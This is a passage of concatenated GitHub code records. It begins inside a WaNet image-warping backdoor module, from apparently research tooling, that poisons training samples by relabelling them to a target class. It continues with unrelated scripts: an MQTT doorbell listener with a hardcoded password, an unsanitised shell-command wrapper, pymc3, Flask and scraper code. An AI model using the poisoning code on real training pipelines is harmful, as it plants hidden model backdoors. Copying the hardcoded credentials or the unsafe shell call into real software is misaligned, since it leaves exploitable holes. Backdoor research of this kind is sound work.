denormalizer, identity_grid, noise_grid, s=0.5, k=4, grid_rescale=1, target_class=0):\n\n self.img_size = img_size\n self.normalizer = normalizer\n self.denormalizer = denormalizer\n self.target_class = target_class\n\n self.s = s\n self.k = k\n self.grid_rescale = grid_rescale\n self.identity_grid = identity_grid.cuda()\n self.noise_grid = noise_grid.cuda()\n\n def transform(self, data, labels):\n grid_temps = (self.identity_grid.to(data.device) + self.s * self.noise_grid.to(data.device) / self.img_size) * self.grid_rescale\n grid_temps = torch.clamp(grid_temps, -1, 1)\n\n data, labels = data.clone(), labels.clone()\n data = self.denormalizer(data)\n data = F.grid_sample(data, grid_temps.repeat(data.shape[0], 1, 1, 1), align_corners=True)\n data = self.normalizer(data)\n labels[:] = self.target_class\n\n # debug\n # from torchvision.utils import save_image\n # from torchvision import transforms\n # normalizer = transforms.Normalize([0.4914, 0.4822, 0.4465], [0.247, 0.243, 0.261])\n # denormalizer = transforms.Normalize([-0.4914/0.247, -0.4822/0.243, -0.4465/0.261], [1/0.247, 1/0.243, 1/0.261])\n # # normalizer = transforms.Compose([\n # # transforms.Normalize((0.3337, 0.3064, 0.3171), (0.2672, 0.2564, 0.2629))\n # # ])\n # # denormalizer = transforms.Compose([\n # # transforms.Normalize((-0.3337 / 0.2672, -0.3064 / 0.2564, -0.3171 / 0.2629),\n # # (1.0 / 0.2672, 1.0 / 0.2564, 1.0 / 0.2629)),\n # # ])\n # save_image(denormalizer(data)[0], 'b.png')\n\n return data, labels","repo_name":"vtu81/backdoor-toolbox","sub_path":"poison_tool_box/WaNet.py","file_name":"WaNet.py","file_ext":"py","file_size_in_byte":5256,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"53"} +{"seq_id":"31693955292","text":"#!/usr/bin/env python3\n# https://pypi.org/project/paho-mqtt/\n\n# sudo apt install python3 python3-pip\n# pip install paho-mqtt\n\n# starten: python3 ring.py\n\nimport paho.mqtt.client as mqtt\nimport os\nimport syslog\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n #client.subscribe(\"$SYS/#\") # alle System-Msg. vom Broker\n #client.subscribe(\"hc/#\")\n client.subscribe(\"hc/light/37/-->/state\") # DG, aber nur die 81 setzt Trafo unter Spg. \n client.subscribe(\"hc/switch/81/-->/state\") # EG Audiohinweis\n\ndef on_message(client, userdata, msg):\n payload = msg.payload.decode('utf-8') # bin-str 2 str (oder: 'ascii')\n if payload == \"ON\":\n print(\"\\nklingeln\")\n print(msg.topic+\" \"+payload)\n else:\n print(\"\\n--aus--\")\n print(msg.topic+\" \"+payload)\n syslog.syslog(syslog.LOG_INFO, msg.topic+\" \"+str(payload))\n myCmd = \"mplayer /etc/hcan/doorbell.mp3\"\n os.system(myCmd)\n\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\n\n#syslog.openlog(\"ring\", LOG_CONS|LOG_NDELAY|LOG_PERROR|LOG_PID, LOG_LOCAL7)\n\nclient.username_pw_set(username=\"hcan\",password=\"n_A_c\")\nclient.connect(\"localhost\", 1883, 60) # \"192.168.1.30\" \"mqtt.eclipseprojects.io\"\nclient.loop_forever()\n","repo_name":"hcanIngo/openHCAN","sub_path":"pi/ring.py","file_name":"ring.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"53"} +{"seq_id":"42728138815","text":"# -*- coding: utf-8 -*-\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\nimport commands\ndef command(cmd,timeout = 60*10):\n e, res = commands.getstatusoutput(\"/usr/bin/timeout %s %s\" % (timeout, cmd))\n if e == 31744:\n return -2, \"subprocess timeout\" \n try:\n return e, str(res).decode(\"utf-8\")\n except:\n return e, str(res)\n","repo_name":"saxisuer/smartmgr-v2","sub_path":"pdsframe/common/long_work.py","file_name":"long_work.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71190391848","text":"from h5py import Group\nfrom pydantic.fields import Field\n\nfrom ..enums import ReferenceTypes\nfrom ..geometry import *\nfrom ..reference_resolving import *\n\n\nclass FlatMarking(InputClassBase):\n color: ReferenceTypes.FlatMarkingColor\n polyline: Polyline\n type: ReferenceTypes.FlatMarkingType\n value: int\n overridden_by: ReferenceDict = Field(default_factory=lambda: ReferenceDict([], FlatMarking))\n overrides: ReferenceDict = Field(default_factory=lambda: ReferenceDict([], FlatMarking))\n condition: ReferenceTypes.FlatMarkingCondition = ReferenceTypes.FlatMarkingCondition.UNKNOWN\n layer_flag: ReferenceTypes.LayerFlag = ReferenceTypes.LayerFlag.PERMANENT_GENERAL\n\n @classmethod\n def from_hdf5(cls, group: Group, validate: bool = True, legacy=None):\n func = cls if validate else cls.construct\n self = func(\n color=ReferenceTypes.FlatMarkingColor(group.attrs[\"color\"]),\n condition=ReferenceTypes.FlatMarkingCondition(group.attrs[\"condition\"]),\n type=ReferenceTypes.FlatMarkingType(group.attrs[\"type\"]),\n value=group.attrs[\"value\"].astype(int),\n layer_flag=ReferenceTypes.LayerFlag(group.attrs[\"layerFlag\"]),\n polyline=Polyline.from_hdf5(group, validate=validate),\n overrides=ReferenceDict(group['overrides'], FlatMarking),\n overridden_by=ReferenceDict(group['overriddenBy'], FlatMarking)\n )\n return self\n\n @classmethod\n @raise_not_resolved\n def resolve_func(cls, input_recording, i):\n assert len(i) == 3\n return input_recording.roads[i[0]].lanes[i[1]].flat_markings[i[2]]\n\n def to_hdf5(self, group: Group):\n group.create_dataset('overriddenBy', data=self.overridden_by.reference)\n group.create_dataset('overrides', data=self.overrides.reference)\n group.attrs.create('color', data=self.color)\n group.attrs.create('condition', data=self.condition)\n group.attrs.create('layerFlag', data=self.layer_flag)\n group.attrs.create('type', data=self.type)\n group.attrs.create('value', data=self.value)\n self.polyline.to_hdf5(group)\n","repo_name":"ika-rwth-aachen/omega_format","sub_path":"omega_format/road/flat_marking.py","file_name":"flat_marking.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"7573526855","text":"'''quick OLS example'''\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pymc3 as pm\nfrom scipy import optimize\n\n\n\n\n### Simulate some OLS data\n### Two predictor variables and an intercept\n\n# Initialize random number generator\nnp.random.seed(123)\n\n# True parameter values\n# alpha = intercept; sigma = prediction error\nalpha, sigma = 1, 1\nbeta = [1, 2.5]\n\n# Size of dataset\nsize = 100\n\n# Predictor variable\nX1 = np.random.randn(size)\nX2 = np.random.randn(size) * 0.2\n\n# Simulate outcome variable\nY = alpha + beta[0]*X1 + beta[1]*X2 + np.random.randn(size)*sigma\n\n### Estimation\nbasic_model = pm.Model()\n\n\nwith basic_model:\n\n # Priors for unknown model parameters\n # i.e. stochastic random variables -- in our case, to be estimated\n alpha = pm.Normal('alpha', mu=0, sd=10)\n beta = pm.Normal('beta', mu=0, sd=10, shape=2) # note this is a 2-length VECTOR of betas; shape=2\n sigma = pm.HalfNormal('sigma', sd=1)\n\n # Expected value of outcome\n # deterministic relationship\n mu = alpha + beta[0]*X1 + beta[1]*X2\n\n # Likelihood (sampling distribution) of observations\n # this is an OBSERVED STOCHASTIC node\n # note parent-child relationships to mu, sigma\n Y_obs = pm.Normal('Y_obs', mu=mu, sd=sigma, observed=Y)\n\n\n\n # Obtain maximum a posteriori (MAP) estimates\n ### NOTE: can fail miserably in high dimensions, sparse models, multi-model posteriors, etc.\n map_estimate = pm.find_MAP(model=basic_model)\n\n # a dict of VARNAME -> Estimates\n map_estimate\n\n ### MCMC Inference\n\n # draw 500 posterior samples\n trace = pm.sample(draws=100, chains=3, cores=3, mp_ctx=\"spawn\")\n\n\n\n\n# plot some posteriors\n#_ = pm.traceplot(trace) # good mixing\n\n# summary of the trace\n#pm.summary(trace) # rhatt near 1.0\n\n\n'''\n# trying multi-core\nwith basic_model:\n# draw 500 posterior samples\ntrace = pm.sample(draws=200, chains=3, cores=3)\n'''","repo_name":"nhdanneman/pymc3_examples","sub_path":"ols_example.py","file_name":"ols_example.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"37652208351","text":"from hw_asr.base.base_text_encoder import BaseTextEncoder\nfrom json import load\n\nwith open('data/datasets/librispeech/train-clean-100_index.json', 'r') as dataset:\n data = load(dataset)\n\ntexts = []\nfor row in data:\n texts.append(BaseTextEncoder.normalize_text(row['text']))\n\nwith open(\"hw_asr/text_encoder/train_data_new_line.txt\", \"w\") as file:\n for text in texts:\n file.write(text + '\\n')\n","repo_name":"maximkm/DLA_ASR_HW","sub_path":"hw_asr/text_encoder/generate_lm_data.py","file_name":"generate_lm_data.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"14035625039","text":"import xml.etree.ElementTree as ET\nfrom flask import request, Blueprint\nfrom Modules.Account.Config import accountUpdateSchemaLocation, accountsUpdateXmlSchemaLocation, accountUpdateXmlDataLocation\nfrom Modules.Util import validateJsonResponse, validateXmlResponse\n\nupdateAccounts = Blueprint('updateAccounts', __name__)\n\n\n# UPDATE\n@updateAccounts.route('/accountUpdate', methods=['POST'])\ndef updateAccount():\n from appRestApi import Account, db\n if (request.is_json):\n accountData = request.get_json()\n\n # Validates sent JSON before update\n if validateJsonResponse(accountUpdateSchemaLocation, accountData) == False:\n Account.query.filter_by(id=accountData['id']).update(dict(email=accountData['email']))\n db.session.commit()\n db.session.close()\n\n else:\n updateAccountXml()\n\n return \"Successfuly updated account!\"\n\n\n# UPDATE WITH XML\ndef updateAccountXml():\n from appRestApi import Account, db\n accountData = request.get_data()\n\n # Transforms data received into a non-flat xml file\n info = ET.fromstring(accountData)\n tree = ET.ElementTree(info)\n tree.write(accountUpdateXmlDataLocation)\n\n if validateXmlResponse(accountsUpdateXmlSchemaLocation, accountUpdateXmlDataLocation) == True:\n print(\"Successfuly validated xml!\")\n\n # Iterates over xml and finds necessarry data belonging to tags\n for item in tree.iter('account'):\n updatedAccountID = item.find('id').text\n updatedAccountContent = item.find('email').text\n\n Account.query.filter_by(id=updatedAccountID).update(dict(email=updatedAccountContent))\n db.session.commit()\n db.session.close()\n\n return \"Successfuly updated account!\"\n","repo_name":"stefanuntura/dataProcessingAPI","sub_path":"Modules/Account/UPDATE.py","file_name":"UPDATE.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41608611925","text":"#!/usr/bin/env python\n\n# url for problem here\n\nimport unittest\nfrom pprint import pprint\nimport random\n\n\ndef to_number(s):\n arr = list(map(int, list(s)))\n result = 0\n for b in arr:\n result *= 2\n result += b\n return result\n\n\ndef solution(s, k):\n # if the number of substrings of size k is less than 2 ** k, game over\n\n l = len(s)\n if l < k:\n return False\n\n nsubstrings = l - k + 1\n if nsubstrings < 2 ** k:\n return False\n\n # turn all of the substrings into numbers. efficiently\n mask = 2 ** k - 1\n n = to_number(s[:k])\n\n all_values = set()\n all_values.add(n)\n\n for end in range(k, l):\n n = n * 2\n n &= mask\n if s[end] == '1':\n n += 1\n all_values.add(n)\n\n for i in range(2 ** k):\n if i not in all_values:\n return False\n\n return True\n\n\nif __name__ == '__main__':\n pass\n\n\nclass MyTest(unittest.TestCase):\n def test_1(self):\n s = \"00110\"\n k = 2\n self.assertTrue(solution(s, k))\n","repo_name":"altoid/leetcode","sub_path":"py/string_contains_binary_codes_1461.py","file_name":"string_contains_binary_codes_1461.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"35693226609","text":"from functools import cmp_to_key\nt = [100, 50, 20, 5, 1]\ndef change(t, n):\n \"\"\"\n 找零问题\n \"\"\"\n m = [0 for _ in range(len(t))]\n for i, money in enumerate(t):\n m[i] = n // money\n n %= money\n return m, n\n\ndef fraction_backpack(goods, w):\n goods.sort(key=lambda x:x[0]/x[1], reverse=True)\n res = [0 for _ in range(len(goods))]\n total_v = 0\n for i, (prize, weight) in enumerate(goods):\n if w >= weight:\n res[i] = 1\n w -= weight\n total_v += prize\n else:\n res[i] = w/weight\n total_v += res[i] * prize\n break\n return total_v, res\n\ndef xy_cmp(x, y):\n if x+y < y+x:\n return 1\n elif x+y > y+x:\n return -1\n else:\n return 0\n\ndef number_join(ls):\n \"\"\"\n 拼数问题:\n 把list里的数按照string相加的方式合并然后返回可以组成的最大数\n \"\"\"\n ls = list(map(str, ls))\n ls.sort(key=cmp_to_key(xy_cmp))\n return \"\".join(ls)\n\ndef activity_selection(a):\n res = [a[0]]\n for i in range(1, len(a)):\n if a[i][0] >= res[-1][1]:\n res.append(a[i])\n return res\n\nif __name__ == \"__main__\":\n goods = [(60, 10), (100, 20), (120, 30)] # 每个商品元组表示(价格,重量)\n ls = [32, 94, 128, 1286, 6, 71]\n activities = [(1,4),(3,5),(0,6),(5,7),(3,9),(5,9),(6,10),(8,11),(8,12),(2,14),(12,16)]\n activities.sort(key=lambda x:x[1])\n # print(change(t, 1001))\n # print(fraction_backpack(goods, 50))\n # print(number_join(ls))\n print(activity_selection(activities))","repo_name":"ZHIXIANHU021/Algorithm_and_Data_Structure","sub_path":"Greedy Algorithm.py","file_name":"Greedy Algorithm.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25118261052","text":"# control flow is order in which program's code execute\n# conditional statements (if,elif,else) can be used with control flowc\n# loops are used to repeat a specific block of code\n# function is piece of code that do specific\n\n# if statements used to check conditions before it executes\na = 7\nb = 8\n\nif a < b:\n print(a, \"is smaller than\", b)\n\n# else statements executes if conditions checked evaluates to false\na = 7\nb = 8\nc = 9\n\nif a > b:\n print(a, \" is smaller than\", b)\nelif b >= c:\n print(b, \" is smaller than \", c)\nelse:\n print(c, \"is larger than\", b, \"and\", a)\n\n# while loop statements used to run continuously as long as condition true\ni = 1\n\nwhile i < 7:\n print(i)\n i += 1\n\n# for loop used to iterate over a sequence usally list,tuple,dictionary,set,string\nfruits = [\"grapes\",\"berries\",\"oranges\"]\n\nfor x in fruits:\n print(x)\n\n# Nested loop is a loop insdie a loop\ncolurs = [\"green\",\"yellow\",\"purple\"]\n\nfor x in colurs:\n for y in fruits:\n print(x,y)\n\n# Break is used to terminate the loop\ni = 1\n\nwhile i < 8:\n print(i)\n if i==3:\n break\n i += 1\n\n# continue used to stop current iteration and continue with iteration of loop\ni = 0\n\nwhile i < 8:\n i += 1\n if i==4:\n continue\n print(i)\n","repo_name":"mkumar2307/Python_Practise","sub_path":"control_flow_statements.py","file_name":"control_flow_statements.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74516972646","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\niterations = 100\na = 0.1\nb = 5\nx = np.linspace(a, b)\nx_k = (a+b)/2\n\ndef f(x):\n return (8 * np.log(x) + 8) / 5\n\ndef g(x):\n return x - 0.1*f(x)\n\nplt.figure(figsize=(8,8))\nplt.title('Метод простої ітерації')\nplt.grid(True)\nplt.plot(x, x, 'g')\nplt.plot(x, g(x), 'r')\n\n\ndef fixed_point(iterations,eps,x_k):\n for k in range(iterations):\n\n g_x_k = g(x_k)\n if abs(g_x_k - x_k) < eps:\n return g_x_k\n else:\n plt.plot([x_k, x_k], [x_k, g(x_k)], 'b')\n x_k_plus_1 = g(x_k)\n plt.plot([x_k, g(x_k)], [x_k_plus_1, x_k_plus_1], 'b')\n x_k = x_k_plus_1\n print(f\"In {k+1} iteration x = {x_k_plus_1}\")\n\n\nfixed_point(100, 0.0001,x_k)\nplt.show()","repo_name":"Dimaaasik/OMAPS","sub_path":"lr3.py","file_name":"lr3.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"1079888432","text":"import asyncio\nimport json\nimport time\nfrom datetime import datetime\n\nimport aiohttp as aiohttp\nimport requests\n\nfrom logger import LOG\nfrom services.binance import urls\nfrom services.data_models import ExchangeTickerModel\nfrom services.client_interface import ClientInterface\n\n\nclass BinanceClient(ClientInterface):\n exchange = 'binance'\n\n def __init__(self, loop=None, *args, **kwargs):\n # self.loop = loop or asyncio.get_event_loop()\n self.tickers_base_quote = self._get_tickers_base_quote_matcher()\n\n def request(self, url: str):\n LOG.debug(url)\n response = requests.get(url)\n LOG.info(f'url: {url} status code: {response.status_code}')\n return response.json()\n\n async def fetch(self, url):\n \"\"\"\n Send a GET request to the binance api\n @return response\n \"\"\"\n async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(verify_ssl=False)) as session:\n LOG.info(f'GET {url}')\n async with session.get(url) as resp:\n text = await resp.text()\n LOG.info(f'response - {text}')\n if resp.status != 200:\n raise Exception(f'GET {url} failed with status {resp.status} - {text}')\n parsed = json.loads(text, parse_float=float)\n return parsed\n\n def _get_tickers_base_quote_matcher(self):\n tickers_info = self.request(urls.symbols)\n tickers = tickers_info.get('symbols')\n ticker_base_quote = dict()\n for ticker in tickers:\n ticker_base_quote[ticker.get('symbol')] = (ticker.get('baseAsset'), ticker.get('quoteAsset'))\n return ticker_base_quote\n\n async def _get_info_tickers(self):\n tickers_info = await self.fetch(urls.all_tickers)\n LOG.info(f'Getting {len(tickers_info)} tickers')\n return tickers_info\n\n async def get_updates(self):\n LOG.info('Start get update method')\n tickers = await self._get_info_tickers()\n ts = time.time()\n dt = datetime.fromtimestamp(ts)\n res_list = list()\n for ticker in tickers:\n if self.tickers_base_quote.get(ticker.get('symbol')) is not None:\n ticker['base'] = self.tickers_base_quote[ticker.get('symbol')][0]\n ticker['quote'] = self.tickers_base_quote[ticker.get('symbol')][1]\n res_list.append(self._normalize_response(ticker, dt))\n return res_list\n\n def _normalize_response(self, raw_ticker_data: dict, created_time) -> ExchangeTickerModel:\n symbol = raw_ticker_data.get('symbol')\n return ExchangeTickerModel(\n exchange=self.exchange,\n symbol=symbol,\n base=self.tickers_base_quote[symbol][0],\n quote=self.tickers_base_quote[symbol][1],\n last_price=raw_ticker_data.get('lastPrice'),\n time_received=created_time\n )\n\n\nif __name__ == '__main__':\n binance = BinanceClient()\n print(binance.get_updates())\n","repo_name":"utkini/collector_quotes","sub_path":"app/services/binance/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9354000190","text":"import copy\n\nimport numpy as np\n\nfrom pymoo.model.individual import Individual\n\n\nclass Population(np.ndarray):\n\n def __new__(cls, n_individuals=0, individual=Individual()):\n obj = super(Population, cls).__new__(cls, n_individuals, dtype=individual.__class__).view(cls)\n for i in range(n_individuals):\n obj[i] = individual.copy()\n obj.individual = individual\n return obj\n\n @classmethod\n def merge(cls, a, b):\n a, b = pop_from_array_or_individual(a), pop_from_array_or_individual(b)\n\n if len(a) == 0:\n return b\n elif len(b) == 0:\n return a\n else:\n obj = np.concatenate([a, b]).view(Population)\n obj.individual = a.individual\n return obj\n\n def copy(self, deep=False):\n # self.individual -> Individual()\n pop = Population(n_individuals=len(self), individual=Individual())\n for i in range(len(self)):\n val = copy.deepcopy(self[i]) if deep else self[i]\n pop[i] = val\n return pop\n\n def has(self, key):\n return all([ind.has(key) for ind in self])\n\n def __deepcopy__(self, memo):\n return self.copy()\n\n @classmethod\n def create(cls, *args):\n pop = np.concatenate([pop_from_array_or_individual(arg) for arg in args]).view(Population)\n pop.individual = Individual()\n return pop\n\n def new(self, *args):\n\n if len(args) == 1:\n return Population(n_individuals=args[0], individual=self.individual)\n else:\n n = len(args[1]) if len(args) > 0 else 0\n pop = Population(n_individuals=n, individual=self.individual)\n if len(args) > 0:\n pop.set(*args)\n return pop\n\n def collect(self, func, to_numpy=True):\n val = []\n for i in range(len(self)):\n val.append(func(self[i]))\n if to_numpy:\n val = np.array(val)\n return val\n\n def set(self, *args):\n\n for i in range(int(len(args) / 2)):\n\n key, values = args[i * 2], args[i * 2 + 1]\n is_iterable = hasattr(values, '__len__') and not isinstance(values, str)\n\n if is_iterable and len(values) != len(self):\n print(key)\n print(values)\n print(len(values), len(self))\n raise Exception(\"Population Set Attribute Error: Number of values and population size do not match!\")\n\n for i in range(len(self)):\n val = values[i] if is_iterable else values\n self[i].set(key, val)\n\n return self\n\n def get(self, *args, to_numpy=True):\n\n val = {}\n for c in args:\n val[c] = []\n\n for i in range(len(self)):\n\n for c in args:\n val[c].append(self[i].get(c))\n\n res = [val[c] for c in args]\n if to_numpy:\n res = [np.array(e) for e in res]\n\n if len(args) == 1:\n return res[0]\n else:\n return tuple(res)\n\n def __array_finalize__(self, obj):\n if obj is None:\n return\n self.individual = getattr(obj, 'individual', None)\n\n\ndef pop_from_array_or_individual(array, pop=None):\n # the population type can be different - (different type of individuals)\n if pop is None:\n pop = Population()\n\n # provide a whole population object - (individuals might be already evaluated)\n if isinstance(array, Population):\n pop = array\n elif isinstance(array, np.ndarray):\n pop = pop.new(\"X\", np.atleast_2d(array))\n elif isinstance(array, Individual):\n pop = Population(1)\n pop[0] = array\n else:\n return None\n\n return pop\n\n\nif __name__ == '__main__':\n pop = Population(10)\n pop.get(\"F\")\n pop.new()\n print(\"\")\n","repo_name":"AIasd/ADFuzz","sub_path":"pymoo/pymoo/model/population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"} +{"seq_id":"70848679207","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\nx=np.linspace(-1,1,50)\ny1=x*x\n\ny2=x**3\n\n\n\n\n\nplt.figure()\nplt.plot(x,y1)\n\n\n\nplt.figure()\nplt.plot(x,y1)\nplt.plot(x,y2,c='red',ls='--',lw=10)\nplt.xlim(-1,2)\nplt.xlim(0,3)\nplt.xlabel('i am x')\nplt.ylabel('i am y')\n\nnew_ticks=np.linspace(-1,2,5)\n\n\nprint(new_ticks)\n\nplt.xticks(new_ticks)\n# 这里告诉我们matplotlib是支持latex的\nplt.yticks([-2,-1.8,-1,1.22,3,\n ],\n [r'$really\\ bad$',r'$bad$',r'$5_1$',r'$good$',r'$really\\ good$'\n ])\n\n\n\nplt.show()\n","repo_name":"elliottzheng/MyselfLearning","sub_path":"LearnMatplotlib/axis.py","file_name":"axis.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74656823527","text":"# encoding=utf-8\n\"\"\"\nName: douban250\nDescription: \nAuthor: Administrator\nDate: 2019/10/28\n\"\"\"\n# 下载页面模块\nimport requests\n# 分析页面\nimport bs4\n# 处理表格\nimport openpyxl\n# 目录控制\nimport os\n# 日志模块\nimport logging\n# 随机数生成,用来模拟ip\nimport random\n# 控制运行时间\nimport time\n\n'''日志设置'''\nlogging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')\n\n'''\n全局变量\n'''\n# 工作目录\nWORKPATH = \"H:/python/bookTask\"\n# 下载链接\nURL = 'https://movie.douban.com/top250?start='\n# 页数\nPAGENUM = 0\n# 表名\nSHEETNAME = '豆瓣电影250'\n# 文件名\nWORKBOOKNAME = '豆瓣电影250_2.xlsx'\n# 记录当前写入行数\nROWNUM = 2\n# 爬取间隔时间,2s\nT = 2\n\n'''\n数据结构\n'''\n# 存储电影名\nlist_name = []\n# 存储电影信息,dic_name={'电影名':dic_detail},dic_detail={'列名','信息'}\ndic_name = {}\ndic_detail = {}\n# 存储评分,存储结构与上面一样\ndic_star_name = {}\ndic_star_detail = {}\n\n'''\n工作目录设置\n'''\nos.chdir(WORKPATH)\n\n'''\n方法\n'''\n\n\n# 去除字符串空格、换行方法\ndef delspace(string):\n # 去除换行\n string = string.replace('\\n', '')\n # 去除空格\n string = string.replace(' ', '')\n string = string.replace('\\xa0', '')\n # 去除两边空格\n string = string.strip()\n return string\n\n\n# 去除字符串空格,不去换行方法\ndef delspace0(string):\n # 去除空格\n string = string.replace(' ', '')\n string = string.replace('\\xa0', '')\n # 去除两边空格\n string = string.strip()\n return string\n\n\n# j标记list下标\nj = 0 # 存储信息用\nk = 0 # 存储评分用\nwhile True:\n '''\n 获取页面数据\n '''\n # 更改页号,拼接URL\n openurl = URL + str(PAGENUM)\n logging.debug('openurl:' + openurl)\n # 为避免ip被封,限制每分钟爬取次数\n time.sleep(T)\n # 获取网页,得到response对象\n response = requests.get(openurl)\n # logging.debug('页面:'+response.text)\n # 防止乱码\n response.encoding = response.apparent_encoding\n # 监控获取网页状态\n response.raise_for_status()\n # 获取soup对象,用于分析网页\n soup = bs4.BeautifulSoup(response.text)\n # 直接在div下的a元素,找到电影名\n elems_name = soup.select('div>a')\n # 找div下的直接p元素,找到电影信息(导演、演员、时间、地区、类型)\n elems_detail = soup.select('div>p')\n # 找CSS class属性为star的\n elems_score = soup.select('.star')\n '''数据结构中存储数据'''\n # 存储电影名\n for i in range(7, len(elems_name) - 11):\n # 获取电影名\n movieName = str(elems_name[i].getText())\n # 去除空格、换行\n movieName = delspace(movieName)\n # 如果全是空格,跳过\n if movieName.isspace() or len(movieName) == 0:\n logging.debug('跳过')\n continue\n # 将电影名添加到list中\n logging.debug('movieName:' + movieName)\n list_name.append(movieName)\n logging.debug('++++++++++++++++++++++++长度=' + str(len(elems_detail)))\n '''存储电影信息'''\n # 循环读取页面中获得的信息\n for i in range(2, len(elems_detail), 2):\n logging.debug('---------i=' + str(i) + '')\n # 读取到信息结束前一个跳出,最后一个不是信息,不读取,同时防止越界\n if i == len(elems_detail) - 1:\n break\n # 获取电影信息\n movieDetail = str(elems_detail[i].getText())\n # 获取电影简介\n movieShort = str(elems_detail[i + 1].getText())\n # 去除空格,不去换行\n # movieDetail=delspace0(movieDetail)\n # 详细信息去两边空格\n movieDetail = movieDetail.strip()\n # 简介去除空格\n movieShort = delspace(movieShort)\n logging.debug('信息:' + movieDetail)\n logging.debug('简介:' + movieShort)\n # 全是空格,跳过\n if movieDetail.isspace() or len(movieDetail) == 0 or movieDetail == 'xa0':\n logging.debug('跳过')\n continue\n if movieShort.isspace() or len(movieShort) == 0:\n logging.debug('跳过')\n continue\n '''处理电影信息字符串'''\n # 通过换行先分成两部分,导演主演、时间/地区/类型,返回数据类型为列表\n temp_list = movieDetail.split('\\n')\n # 导演和主演\n temp_temp_list = temp_list[0].split('主演')\n logging.debug('temp_temp_list:' + str(temp_temp_list) + 'temp_temp_list长度:' + str(len(temp_temp_list)))\n # 导演\n movieDirector = temp_temp_list[0]\n movieDirector = movieDirector.replace('导演:', '')\n if len(temp_temp_list) >= 2:\n # 主演\n movieActor = temp_temp_list[1]\n movieActor = movieActor.replace(':', '')\n else:\n # 主演\n movieActor = '...'\n # 时间/地区/类型\n temp_list = temp_list[1].split('/')\n # 时间\n movieTime = temp_list[0]\n # 地区\n moviePlace = temp_list[1]\n # 给地区加上/\n moviePlace = moviePlace.replace(' ', '/')\n # 类型\n movieType = temp_list[2]\n # 给类型加上/\n movieType = movieType.replace(' ', '/')\n # 去空格(因为要在地区中将空格变为/,所以只能最后去空格)\n movieDirector = delspace0(movieDirector)\n movieActor = delspace0(movieActor)\n movieTime = delspace0(movieTime)\n moviePlace = delspace0(moviePlace)\n movieType = delspace0(movieType)\n logging.debug(\n '\\n导演:' + movieDirector + '\\n主演:' + movieActor + '\\n时间:' + movieTime + '\\n地区:' + moviePlace + '\\n类型:' + movieType)\n '''将处理过的信息存入字典'''\n # 详细信息存入字典\n dic_detail = {'导演': movieDirector, '主演': movieActor, '时间': movieTime, '地区': moviePlace, '类型': movieType,\n '简介': movieShort}\n # 将字典存入外层字典1,key从list中取出\n dic_name.setdefault(list_name[j], dic_detail)\n # 下标后移一位\n j += 1\n # 评分和评论人数\n for i in range(len(elems_score)):\n # 获取评分和人数\n movieStar = str(elems_score[i].getText())\n # 去除空格\n movieStar = delspace0(movieStar)\n # 使用换行符分割\n temp_list = movieStar.split('\\n')\n # 评分\n movie_Star = temp_list[0]\n # 人数\n movie_Peonum = temp_list[2]\n movie_Peonum = movie_Peonum.replace('人评价', '')\n logging.debug(str(temp_list))\n logging.debug('\\n评分:' + movie_Star + '\\n人数:' + movie_Peonum)\n # 将数据存储在数据结构中\n dic_star_detail = {'评分': movie_Star, '评论人数': movie_Peonum}\n dic_star_name.setdefault(list_name[k], dic_star_detail)\n # 列表下标后移一位\n k += 1\n # 跳转下一页\n PAGENUM = 25 + int(PAGENUM)\n # 最后一页结束\n if PAGENUM > 225:\n break\n'''\n数据存入excel\n'''\n'''\n打开excel\n'''\n# 创建workbook对象\nworkbook = openpyxl.Workbook()\n# 获取sheet对象\nsheet = workbook.get_active_sheet()\n# 设置表头\nsheet['A1'] = '电影名'\nsheet['B1'] = '导演'\nsheet['C1'] = '主演'\nsheet['D1'] = '评分'\nsheet['E1'] = '评论人数'\nsheet['F1'] = '时间'\nsheet['G1'] = '地区'\nsheet['H1'] = '类型'\nsheet['I1'] = '简介'\n'''\n写入excel\n'''\n# 写入数据\nfor i in range(len(list_name)):\n # 详情字典\n dic_w_detail = dic_name[list_name[i]]\n # 评分字典\n dic_w_star = dic_star_name[list_name[i]]\n # 第一列\t电影名\n sheet['A' + str(ROWNUM)] = list_name[i]\n # 第二列\t导演\n sheet['B' + 